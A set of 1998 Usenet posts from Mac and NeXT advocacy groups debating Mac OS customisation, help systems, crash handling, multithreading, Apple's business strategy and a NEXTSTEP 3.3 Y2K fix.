Organization: Frontier GlobalCenter Inc.
Message-ID: <B218A653-32733@206.165.43.187>
References: <35F3FC14.57B2FD92@nstar.net>
Mime-Version: 1.0
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nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.next.advocacy
Michael J. Peck <mjpeck@nstar.net> said:
>Joe Ragosta wrote:
>
>> You can change _ANYTHING_ about Mac OS. Get yourself ResEdit and there's
>> not a piece of the OS you can't change.
>
>Good point. Get yourself a hex editor and you can change anything about
>Linux, too.
Ah, but there's a simple hex editor available in ResEdit. Is there a simple
ResEdit available in a hex editor on Linux? ;-)
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Sun, 06 Sep 1998 21:23:22 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-0609982123220001@sdn-ar-001casbarp166.dialsprint.net>
References: <macghod-0609981221240001@sdn-ar-001casbarp298.dialsprint.net> <B2187B86-2132B9@153.36.240.74>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <B2187B86-2132B9@153.36.240.74>, "Wayne Fellows"
<wfellows@*stop_spam*earthlink.net> wrote:
> On Sun, Sep 6, 1998 7:21 PM, Steve Sullivan <mailto:macghod@concentric.net>
> wrote:
> >hmmm, I am not familiar with this. You can change every little thing?
> >what about big things, such as the menubar at the top? Can you customize
> >it so it is a replica of openstep 4.2 interface?
>
> Actually you can come close. You can designate the font, change the Apple
> picture, and add colors and textures to the menus. You can also change the
> shape of windowing elemends, so your desktop can look like pretty much
> anything. There are schemes for BeOS, NeXT, the game Fallout, a rusty
> boilerplate, anything you can think of. My personal favorite is Pussy
> Galore...
And from what K Sebring said I assume you can get rid of the finder menubar?
--
Just because you use a mac doesnt mean you have to lose all
semblance of reason and logic
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Sun, 06 Sep 1998 21:23:31 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-0609982123310001@sdn-ar-001casbarp166.dialsprint.net>
References: <no-spam-0509981559360001@10.0.1.99> <B217F8B1-26B83@153.36.249.142> <6su2uc$5mq$1@birch.prod.itd.earthlink.net> <kms-0609981137550001@dialinuser190.norfolk-county.com> <macghod-0609981221240001@sdn-ar-001casbarp298.dialsprint.net> <kms-0609981753250001@dialinuser161.norfolk-county.com>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <kms-0609981753250001@dialinuser161.norfolk-county.com>,
kms@norfolk-county.com (K. Sebring) wrote:
> >hmmm, I am not familiar with this. You can change every little thing?
> >what about big things, such as the menubar at the top? Can you customize
> >it so it is a replica of openstep 4.2 interface?
>
> Come on. You know exactly what Kaliedoscope can do. And you know it's alot.
Actually I have never used it before
> What is it with you, anyways?
I assume you will tell me...
> You act like a fourth grader who, maybe, "tries to be cool" by swaying
> whatever way will get you the most attention. It seems that whenever
> there is an argument, you'll take the side that appears to be "winning".
I take the side that appears to be winning? I always thought I had the
guts to speak what I feel, no matter if its anti mac OR anti windows.
> Why is that? If you deny this, i'll do some Deja searching and come up
> with some examples. But please, don't make me waste my time.
Yes, please do so. I know a bit of mac programming, and as far as I know
its not possible to get rid of the menubar in finder.
--
Just because you use a mac doesnt mean you have to lose all
semblance of reason and logic
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 7 Sep 1998 04:49:31 GMT
Organization: Primenet (602)416-7000
Message-ID: <6svokr$51r$1@nnrp02.primenet.com>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137>
John Heaney <heaney@SolidObject.com> wrote:
: > Q1: Is "circling the right places" possible for more than the most common
: > actions?
: >
: > Q2: Even if the help system could circle the right thing, wouldn't you
: > like to know why?
: I'd ask what is your point. I was simply saying that the GUI of the MacOS
: provides a much more robust help system than the man pages mechanism of
: unix every could. I'm not going to get into some debate about which help
: system has better content. It's the systems themselves I was comparing.
I'd say it falls in nicely with my "fear of text" theme. The Apple help
system says don't make me read anything, just circle what I'm supposed to
do. As if a computer knew what I want to do.
You know, you called this a CLI vs. GUI thread even after I said how much
I liked GUIs. I want to know why it became a "vs.", not just in your
response but in Macland in general. Why did a love of images evolve into
a distaste for text? Is it all DOS-prompt baggage ingrained in the Mac
mentality, or does it go deeper than that? Has the appliance-computer
descended to the computer as TV stage?
John
From: jayfar@netaxs.com (Jayfar)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Mon, 07 Sep 1998 00:55:33 -0400
Organization: Jayfar's Original Virtual Macintosh
Message-ID: <jayfar-0709980055340001@dyn-122.blackbox-4.netaxs.com>
References: <heaney-0609982205450001@24.0.246.137> <B2188CC5-28AFC@206.165.43.166>
Mail-Copies-To: jayfar@netaxs.com
In article <B2188CC5-28AFC@206.165.43.166>, "Lawson English"
<english@primenet.com> wrote:
| John Heaney <heaney@SolidObject.com> said:
|
| >I'd ask what is your point. I was simply saying that the GUI of the MacOS
| >provides a much more robust help system than the man pages mechanism of
| >unix every could. I'm not going to get into some debate about which help
| >system has better content. It's the systems themselves I was comparing.
| >
|
| But MY point is that the kind of help that YOU like is going away with the
| next release of MacOS.
I know I'd read elsewhere that AppleGuide is going away in 8.5, but is it
going to be completely removed, or merely deprecated, such that extant
third party apps that include A.G. help files won't be left helpless?
Cheers,
Jayfar
--
Jay Farrell Jayfar's Original Virtual Macintosh
jayfar@netaxs.com * Your Favorite Mac Site * Now Updated Daily *
Philadelphia, USA <URL:http://www.netaxs.com/~jayfar/live.desk.html>
Jayfar's APPLE DOOMSDAY CLOCK <URL:http://www.netaxs.com/~jayfar/>
From: Jonathan Weeks <jweeks@isomedia.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Apple says NEXTSTEP 3.3 **NOT** Year 2K compliant
Date: Fri, 04 Sep 1998 08:45:15 -0700
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <35F00B0B.276F5E89@NOSPAMREMOVETHISisomedia.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
This is a pretty big deal for all of those
still running NS3.3. Sure wish we would of
had a little more warning, as we are now
going to have to accelerate our porting
efforts to move our clients off of NS3.3
ASAP...
-Jonathan
-----------------------
http://ent.apple.com/NeXTanswers/HTMLFiles/2641.htmld/2641.html:
NEXTSTEP 3.3 And the Year 2000
Creation Date: August 31, 1998
Keywords: NEXTSTEP, 3.3, Y2K
The following is Apple Computer's statement regarding the Year 2000 compliance
of NeXTSTEP
3.3 applications and the NeXTSTEP operating system. For Year 2000 information
on other Apple
Enterprise software products such as OPENSTEP and WebObjects, please see our
Year 2000 white
paper at http://enterprise.apple.com/y2k/
1. The NeXTSTEP 3.3 operating system is not Year 2000 compliant. NeXTSTEP 3.3
contains
known Year 2000 problems, including problems with the date command and the
Preferences
application that may make it impossible to set the date on your computer after
January 1, 2000. There
are also known problems with email and with certain Unix utilities such as at,
atrun, atq, troff, nroff,
and mail. Customers using NeXTSTEP 3.3 should upgrade to OPENSTEP or MacOS
X-based
solutions. Please contact your sales representative for sales and pricing
information.
2. The only framework in NeXTSTEP 3.3 which performed explicit date-handling
was DBKit, the
predecessor to Apple's Enterprise Objects Framework. DBKit did not handle
dates in a Year
2000-compliant fashion, and therefore any application which makes use of DBKit
is likely to
experience Year 2000 problems.
3. The third-party tools and libraries that shipped with NeXTSTEP 3.3 have not
been audited for
Year 2000 compliance. Some third-party tools and libraries may not be Year
2000 compliant in the
versions bundled with NeXTSTEP 3.3.
3. NeXTSTEP 3.3 did not have an equivalent to the OPENSTEP 'NSDate' object;
most applications
and frameworks used UNIX utilities and functions to manage dates. These UNIX
constructs and any
custom date handling an application performs may experience Year 2000
problems. For this reason,
the applications that shipped with NeXTSTEP 3.3 may not handle the Year 2000
transition properly,
even if they are run in an OPENSTEP environment. Your custom NeXTSTEP
applications will run in
an OPENSTEP environment only if they do no date handling, or if they were
specifically programmed
with custom Year 2000-compliant date handling routines.
Newsgroups: comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple says NEXTSTEP 3.3 **NOT** Year 2K compliant
References: <35F00B0B.276F5E89@NOSPAMREMOVETHISisomedia.com> <6spskt$nrs$1@news.seicom.net>
From: sdroll@NOSPMmathematik.uni-wuerzburg.de (Sven Droll)
Message-ID: <35f39ac7.0@uni-wuerzburg.de>
Date: 7 Sep 98 08:35:19 GMT
>UNIX in general does not have a year 2000 problem, it has a year 2038
>problem, but this is a different matter.
Gee. We will be old then :-) (as our NeXTs will)
>I put it quad-fat on http://www.this.net/~frank/date_y2k.tar.gz for those
>without compiler who wants to try it themselfs (as usual you are working at
>your own risk, so backup your data before installing it). Run 'date --help'
>to see the new options.
>
>- The time module of Preference.app is unable to set dates > year 1999,
guess
I use date 0.2 from peanuts for half an year on about 15 machines (black,
white, yellow) and it works just fine. I tested dates after year 2000 and it
continued to work...
From ftp://ftp.peanuts.org/peanuts/./NEXTSTEP/unix/admin/date.0.2.README
---snip---
This version of date is Y2K compliant and works for NeXTStep 3.3 (and
hopefully earlier!)
To replace the old date program on your NeXTStep 3.3 machine, do the
following:
mv -f /usr/lib/Preferences/date /usr/lib/Preferences/date.ORIG
cp date.02.NIHS.bs/bin/date /usr/lib/Preferences/date
(Note: /bin/date and /usr/lib/Preferences/date are identical, as shipped
from NeXT. You may also wish to replace /bin/date with
this version of date.)
/usr/lib/Preferences/date is what Preferences.app uses to set the date. This
version is capable of setting the date to a time after 2000.
THIS PROGRAM HAS NOT UNDERGONE EXTENSIVE TESTING AND HAS NO GUARANTEES.
---snip---
--
Sven Droll __
______________________________________________________/ / ______ __
sdroll@mathematik.uni-wuerzburg.de / /_/ ___/
please remove the NOSPM from my reply-address /_ _/ _/
=====\_/=======
LOGOUT FASCISM!
___________________________________________________________________
NeXT-mail or MIME welcome ;-)
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Sat, 05 Sep 1998 00:52:47 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6sq210$emp$1@nnrp1.dejanews.com>
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27> <6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com> <6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net> <6shijn$684$1@nnrp1.dejanews.com> <Eynvox.Hx5@T-FCN.Net> <6sk34c$5si$1@nnrp1.dejanews.com> <Eyo7nz.3wt@T-FCN.Net> <6sl6h2$8qa$1@nnrp1.dejanews.com> <EyppwC.485@T-FCN.Net> <6smpdo$4v3$1@nnrp1.dejanews.com> <6smt8o$n2s$1@news.spacelab.net> <6sn7u7$nq3$1@nnrp1.dejanews.com> <6sp5su$pgv$1@news.spacelab.net> <Eyrv0s.FJ@T-FCN.Net> <6spe12$1m0$1@news.spacelab.net> <Eyrzzr.94x@T-FCN.Net>
In article <Eyrzzr.94x@T-FCN.Net>,
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> On the other hand I'm not yet convinced we can't get 90% of the behaviour
> we want with no threads at all. As Michelle pointed out most of the
> behaviour in the scrolling is due to poor code in the scrollers. And my
> example in the MacOS side of things in the menu is another. Unfortunately I
> don't see any trivial general ways to eliminate all of these cases, if you
> get into a tracking loop and nothing happens you block, and if you're in the
> main thread, it blocks.
But having a thread for each window does more than get you better scrolling.
It would mean that a window would almost never block because another one is
busy. Isn't the Rhapsody version of Edit.app multithreaded? That is good
because I hate how the entire application blocks when you save a big file in
one window.
> The question I see then is why they do this. One claim (seems like a good
> one too) is former performance issues. Another I suppose is where to send
> the events. If I'm sitting in a loop watching for mouseMoveds, is there any
> safe non-threaded solution to what to do if I don't get any events? I would
> guess that there isn't.
The performance of the BeOS is impressive considering how immature it is.
During my limited experimentation with the BeOS, it felt faster than
OpenStep. And having a thread for every window solves the event handling
problem, doesn't it?
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Sat, 05 Sep 1998 00:45:40 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6sq1jk$e2h$1@nnrp1.dejanews.com>
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27> <6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com> <6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net> <6shijn$684$1@nnrp1.dejanews.com> <Eynvox.Hx5@T-FCN.Net> <6sk34c$5si$1@nnrp1.dejanews.com> <Eyo7nz.3wt@T-FCN.Net> <6sl6h2$8qa$1@nnrp1.dejanews.com> <EyppwC.485@T-FCN.Net> <6smpdo$4v3$1@nnrp1.dejanews.com> <6smt8o$n2s$1@news.spacelab.net> <6sn7u7$nq3$1@nnrp1.dejanews.com> <6sp5su$pgv$1@news.spacelab.net> <Eyrv0s.FJ@T-FCN.Net> <6spe12$1m0$1@news.spacelab.net> <Eyrzzr.94x@T-FCN.Net> <6spj2g$6qj$1@news.mxol.com>
In article <6spj2g$6qj$1@news.mxol.com>,
"Charles W. Swiger" <chuck@codefab.com> wrote:
> I was talking about the situation where there is only one CPU present.
> Multiple CPU's change the picture quite a bit....
Does Apple want to start making multiple CPU machines? They made two
multiprocessor models a few years ago but, IMHO, that didn't work out very
well because the software support wasn't there.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
Date: Fri, 04 Sep 1998 15:23:47 +0100
From: christian.bau@isltd.insignia.com (Christian Bau)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Mac users desperate for something better
Message-ID: <christian.bau-0409981523470001@christian-mac.isltd.insignia.com>
References: <35eca36a.34217033@sun3.nptic.edu.tw> <gmgraves-0209981945060001@sf-pm5-16-80.dialup.slip.net> <slrn6us1qq.4e.jason@jhste1.dyn.ml.org> <35f077a3.12456385@news1.bway.net> <gmgraves-0309981020490001@sf-pm5-24-88.dialup.slip.net> <slrn6utkig.8ba.jason@jhste1.dyn.ml.org> <gmgraves-0309981849180001@sf-usr1-47-175.dialup.slip.net> <slrn6uuin4.6q8.jason@jhste1.dyn.ml.org> <mteh-ya02408000R0309982143290001@news.earthlink.net> <macghod-0309982133340001@1cust247.tnt1.santa-barbara.ca.da.uu.net> <6soem6$8a3$1@nnrp1.dejanews.com> <paul_lucente-ya02408000R0409980938140001@merck.com>
Organization: Insignia Solutions
Cache-Post-Path: proxy0.isltd.insignia.com!unknown@christian-mac.isltd.insignia.com
In article <paul_lucente-ya02408000R0409980938140001@merck.com>,
paul_lucente@merck.com (Paul Lucente) wrote:
> My experience differs. Any time I've ever force quit an application under
> Mac OS, its only been a matter of seconds until either another app puked,
> or the whole OS locked up. I don't think I've EVER been able to even
> relaunch the crashed app and not have it die again very soon after
> relaunch.
>
> But I've heard a lot of people make the claim that they can force quit an
> app and continue working problem free. What am I doing wrong? Is there a
> special trick to it other than hitting option-command-esc?
I just tried. I was running NewsWatcher, reading your post, pressed
Cmd-Option-Esc, Force Quit, start it again and now I am posting. If you
cant read this then it crashed :-).
If the same thing doesnt work on your machine, you should post what
machine, system etc. you have; probably not to comp.sys.mac.advocacy but
some group that will help you. It is supposed to work, with no special
tricks.
From: not@work.bum (BrTe)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Mon, 07 Sep 1998 03:01:44 -0700
Organization: home
Message-ID: <not-ya02408000R0709980301440001@news.colorado.edu>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net> <rayExuyrC.IIo@netcom.com> <35D8C744.5F35DF26@ericsson.com> <macman-0609982059000001@d185d1c66.rochester.rr.com> <35F3FB6E.DBD5A2FE@nstar.net>
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In article <35F3FB6E.DBD5A2FE@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
> Stephen Rea wrote:
>
> > > I was about to say, "A computer isn't really like a car at all", but
> > > then I realized that some people actually disagree.
> >
> > Thousands of complicated parts doing ghod know what, and no one cares how
> > they work, just that they do.
> >
> > Yep, sounds pretty simillar.
>
> No, it really doesn't. It's weird that you think so. Cars have thousands
> of parts; computers have perhaps ten. Motherboard, case, power supply,
> video card, monitor, hard drive, floppy drive, sound card, CD-ROM,
> keyboard, mouse, processor, and memory. Okay, 13.
On that note:
Cars have: seats, console, engine, transmission, wheels and suspension
systems, chassis, body. Okay, 8-9.
You forgot speakers (sound card pretty useless without 'em) for the
computer as a non-optional piece (Unless sound card has one built in, most
don't). Many people consider the cooling fan to be a seperate piece (you
can say this about car radiators too in some cases, but certainly not all).
> Speakers, scanner, printer, microphone, NIC, and Zip drive are optional.
Car, optional: Stereo, heater/cooler, etc.
> Do you mean that you don't know what these parts do? You don't know how
> they work?
I don't see anything above that should lead you to that conclusion on
the level you seem to be implying. However, I would be surprised if you
know exactly how the cpu is shuffling each bit and performing its
calculations and also how the magnetic media is being manupulated
physically to store information and how the sound is being encoded and
decoded from digital information into analog into actual soundwave in a
circuit board. If you think you know all the detailed aspects of how these
things are working and how to reproduce it from scratch even in theory then
you are either an ubergeek with a knowledge base unmatched by the kings of
the industry, or a know it all jerk. Since I have never met an ubergeek
with that much knowledge in my life, and yet can't throw a stone without
hitting a know it all jerk, you can tell where I put the probabilities.
Any know it all jerk can tell you stuff like: "Well, the engine takes
the gas and mixes it with air to..." That's not knowing how something
works, that's being able to superficially describe what's happening
according to what you have been told. That's knowing little and saying lot.
What he was talking about was each and every chip in the computer, and
the boards, the power supply, the media and the media readers, etc. You
can't know how all these things work without at least 20 years of study,
just that they do. Same thing with a car... the guy who made the air
conditioner for it has no clue how the fuel injection system works, and
s/he's as close as you can get to an expert. Ergo, the same deal.
If you want to prove me wrong, why don't you explain how the motherboard
works in *detail*, including chip serial numbers, machine level coding,
signal descriptions, bus operations, registers, modes, etc.
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Mac users desperate for something better
Date: 4 Sep 1998 18:39:03 GMT
Organization: University of California at San Diego
Message-ID: <slrn6v0cu6.5l3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <35eca36a.34217033@sun3.nptic.edu.tw> <gmgraves-0209981945060001@sf-pm5-16-80.dialup.slip.net> <slrn6us1qq.4e.jason@jhste1.dyn.ml.org> <35f077a3.12456385@news1.bway.net> <gmgraves-0309981020490001@sf-pm5-24-88.dialup.slip.net> <slrn6utkig.8ba.jason@jhste1.dyn.ml.org> <gmgraves-0309981849180001@sf-usr1-47-175.dialup.slip.net> <slrn6uuin4.6q8.jason@jhste1.dyn.ml.org> <mteh-ya02408000R0309982143290001@news.earthlink.net> <macghod-0309982133340001@1cust247.tnt1.santa-barbara.ca.da.uu.net> <6soem6$8a3$1@nnrp1.dejanews.com> <paul_lucente-ya02408000R0409980938140001@merck.com> <gmgraves-0409981057290001@sf-pm5-19-83.dialup.slip.net>
On Fri, 04 Sep 1998 10:57:28 -0700, George Graves <gmgraves@slip.net> wrote:
: That conclusion DOES explain
:why some people with Macs never have crashes while others have machines
:which crash constantly. If this is so, then shame on Apple for releasing such
:unstable designs.
I have a conspiracy theory: that the Mac's lack of protected memory let
the hardware engineers get lazy.
If something crashed the system, they just thought, "Dang Netscape again"
and rolled their eyes at the bozos in Operating Systems who haven't been
able to get a real OS to work for years.
On the other hand, with a better operating system, they would have known
for sure that The Computer Is Not Supposed To Crash Ever, and looked harder at
the hardware design.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD
*
* "To chill, or to pop a cap in my dome, whoomp! there it is."
* Hamlet, Fresh Prince of Denmark.
Date: Fri, 04 Sep 1998 13:47:11 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Mac users desperate for something better
Message-ID: <joe.ragosta-0409981347120001@wil89.dol.net>
References: <35eca36a.34217033@sun3.nptic.edu.tw> <gmgraves-0209981945060001@sf-pm5-16-80.dialup.slip.net> <slrn6us1qq.4e.jason@jhste1.dyn.ml.org> <35f077a3.12456385@news1.bway.net> <gmgraves-0309981020490001@sf-pm5-24-88.dialup.slip.net> <slrn6utkig.8ba.jason@jhste1.dyn.ml.org> <gmgraves-0309981849180001@sf-usr1-47-175.dialup.slip.net> <slrn6uuin4.6q8.jason@jhste1.dyn.ml.org> <mteh-ya02408000R0309982143290001@news.earthlink.net> <macghod-0309982133340001@1cust247.tnt1.santa-barbara.ca.da.uu.net> <6soem6$8a3$1@nnrp1.dejanews.com> <paul_lucente-ya02408000R0409980938140001@merck.com>
In article <paul_lucente-ya02408000R0409980938140001@merck.com>,
paul_lucente@merck.com (Paul Lucente) wrote:
>In article <6soem6$8a3$1@nnrp1.dejanews.com>, Nepenthe@my-dejanews.com wrote:
>
>> In article
>> <macghod-0309982133340001@1cust247.tnt1.santa-barbara.ca.da.uu.net>,
>> macghod@concentric.net (Steve Sullivan) wrote:
>>
>> > On the mac, netscape freezes, I have to restart which takes several
>> > minutes, plus I have lost the unread status of articles I have read, plus
>> > my letter to grandma is gone. Just having to restart and then redial my
>> > isp is a pain
>>
>> On YOUR Mac. On MY Mac when netscape freezes, I force it to quit, save data
>> in all my open apps (for safety) relaunch netscape and continue on my merry
>> way.
>
>
>My experience differs. Any time I've ever force quit an application under
>Mac OS, its only been a matter of seconds until either another app puked,
>or the whole OS locked up. I don't think I've EVER been able to even
>relaunch the crashed app and not have it die again very soon after
>relaunch.
>
>But I've heard a lot of people make the claim that they can force quit an
>app and continue working problem free. What am I doing wrong? Is there a
>special trick to it other than hitting option-command-esc?
Which version of Mac OS? This feature was quirky on 7.x, but works pretty
well on 8.1 or later.
--
Regards,
Joe Ragosta
See the Complete Macintosh Page at:
http://www.taylor-design.com/cMacindex.html
From: schuerig@acm.org (Michael Schuerig)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Mon, 7 Sep 1998 12:19:32 +0200
Organization: Completely Disorganized
Message-ID: <1dezetv.1wd5fbdfnhjbuN@rhrz-isdn3-p46.rhrz.uni-bonn.de>
References: <B212F253-19875@206.165.43.49> <joe.ragosta-0209981709230001@wil78.dol.net> <B2132A13-45BC2@206.165.43.179> <EypqG4.4pI@T-FCN.Net> <6sn8a6$vae$1@nnrp1.snfc21.pbi.net> <6snl5a$pk85@odie.mcleod.net> <bsarpNOSPAM-0409980302490001@47.net10.nauticom.net> <6sp0b9$gvu1@odie.mcleod.net> <6sp3dj$8h2$1@nnrp02.primenet.com> <6srlni$crv$1@nnrp1.dejanews.com> <6ss1un$14c$1@nnrp03.primenet.com> <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <B2188CC5-28AFC@206.165.43.166> <heaney-0609982224130001@24.0.246.137> <B218A5A5-2FE3E@206.165.43.187>
Mail-Copies-To: never
Lawson English <english@primenet.com> wrote:
> But *I* was pointing out that te next generation MacOS no longer does what
> you like.
>
> Fact is that after the release of MacOS 8.5, you won't be able to brag
> about AppleGuide.
Lawson, have you actually _seen_ a recent version of Mac OS 8.5? Has
anyone of the other discussants? It is entirely possible that HTML-based
help does the same as Apple Guide help has done. I haven't checked if it
does and would not be allowed to talk about it publicly anyway. But,
please, if you don't know the facts don't resort to speculation.
Michael
--
Michael Schuerig
mailto:schuerig@acm.org
http://www.schuerig.de/michael/
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: Fri, 04 Sep 1998 14:17:15 -0500
Organization: Ericsson North America Inc.
Message-ID: <35F03CBB.AAA8C604@ericsson.com>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <35E46FAC.4 <6s2nle$ek62@odie.mcleod.net> <6s4b24$4ht$1@inconnu.isu.edu> <6s5jh3$r0a$1@msunews.cl.msu.edu> <slrn6utnk4.a5.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35EEFBD2.24124D00@ericsson.com> <6sn26q$i33@news1.panix.com> <35F0113F.E73D5D21@ericsson.com> <slrn6v0ci7.5l3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
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Matt Kennel wrote:
> :All of sudden? On a dime? That would be ridiculous. Nobody is suggesting
> :that Apple give up hardware in one quarter, or even in one year. And
> :besides, it is clear that both Sun and SGI are leveraging their hardware
> :to increase software sales, even on other platforms.
>
> They are? I don't see any evidence of that. Does Javasoft make money for
> Sun? Does it even pay its own bills?
I have no idea. It's irrelevant. I didn't discuss software and hardware
as separate money-making entities; I view this as an unwelcome intrusion
of inconsequential argument.
The fact of the matter is that software tools in general *do* make money
for Sun. Moreover, the JavaSoft strategy is an investment, not a "wait
one year, if it doesn't make money kill it" strategy, a la Apple. I
guess this concept of technological investment seems foolish to many
around here, which strikes me as odd since at the time Apple bought NeXT
Canon was still throwing money at it to keep it alive.
Did NeXT ever turn a profit?
> (And who would buy from Javasoft/
> Sunsoft without SMCC's hardware revenues supporting Sun?)
I have no idea what this means. Are you asking whether customers would
be Java solutions if for some reason Sun were going out of business? And
if so, why do you ask?
> Trying to make money selling general purpose applications software or
> infrastructure puts you in direct competition with Microsoft.
Big freaking deal. Apple's QuickTime strategy puts it in direct
competition with Microsoft. You think it's good business to run away
from competitors because they have a Magical Aura? No, you compete where
you're strong, and if you're making new forays you assess the risk
carefully. Most of all, you make sure you don't neglect your real
competence areas.
If your competence *isn't* in "general purpose applications software"
(and Apple's isn't), then don't compete there. By the way, could you do
me a favor and find the quote wherein I say that Apple should compete
with Microsoft Office?
> They
> really hate that. Sun doesn't have Microsoft's kind of power to
> squash Apple in a workstation market.
>
> Linux can actually get away with it because there isn't any way to use
> sleazy tricks or deals to squash it; it's like those nuclear war proof
> cockroaches.
Ah, yes. Business and technology only get done through "sleazy tricks or
deals". Your lack of regard for the voluntary actions of human beings is
stunning. You've managed to reduce my entire career, and those of
millions of others, to nothing more than the subconscious reactions of,
in your words, "cockroaches".
Thank you, sir. For my part, in all honesty, I have great respect for
your field of study.
> :Do these assets (the ones I mentioned) lie in the software domain or
> :not? I don't think you can get around this question, try as you might.
>
> Yes: NeXT had great software and pretty good hardware.
>
> That doesn't mean that you can make a successful business doing just
> software, especially infrastructure software, alone. It even seems
> incredibly logical and obvious, and it seemed logical and obvious to
> many people, but it ain't so.
I don't know where you get this. You *can* make a successful business
doing just software. Last I checked, Adobe only writes software, and
Microsoft only writes software. Also, I believe Quark only writes
software. Let me think...I'm pretty sure there are a lot of
software-only businesses.
> The current CEO of Apple once tried this and spent more of his own
> cash than I'll earn in a lifetime pursuing this idea.
I hope you don't expect me to view Steve Jobs' expenditures as
justification for his failure.
> You might then
> say, "well they didn't charge $69.95 for OpenStep". Yes that's true.
> But it doesn't seem like they could have survived for long enough on
> that.
No, "they didn't charge $299.99 for OpenStep", which is approximately
what your average workstation-class operating system costs these days,
no matter who makes it. Even Xi Graphics' own Linux distribution, which
comes with full commercial support, costs less than this.
> Just as Javasoft couldn't survive for more than a few months from JDK
> license fees. And then what?
JavaSoft is still actively building the Java APIs. That's what Sun is
funding. It goes back to the idea of "investment", remember? It's an
economic principle: it goes back to the idea that you can take a loss
now, expecting a greater gain someday in the future.
For instance:
"We'll build a licensing program that will crowd us a bit in the
short-term, but which will pay off in the long term with all kinds of
benefits, like larger hardware and software markets, greater visibility,
and better price/performance ratios. Plus, we'll have the benefit of R&D
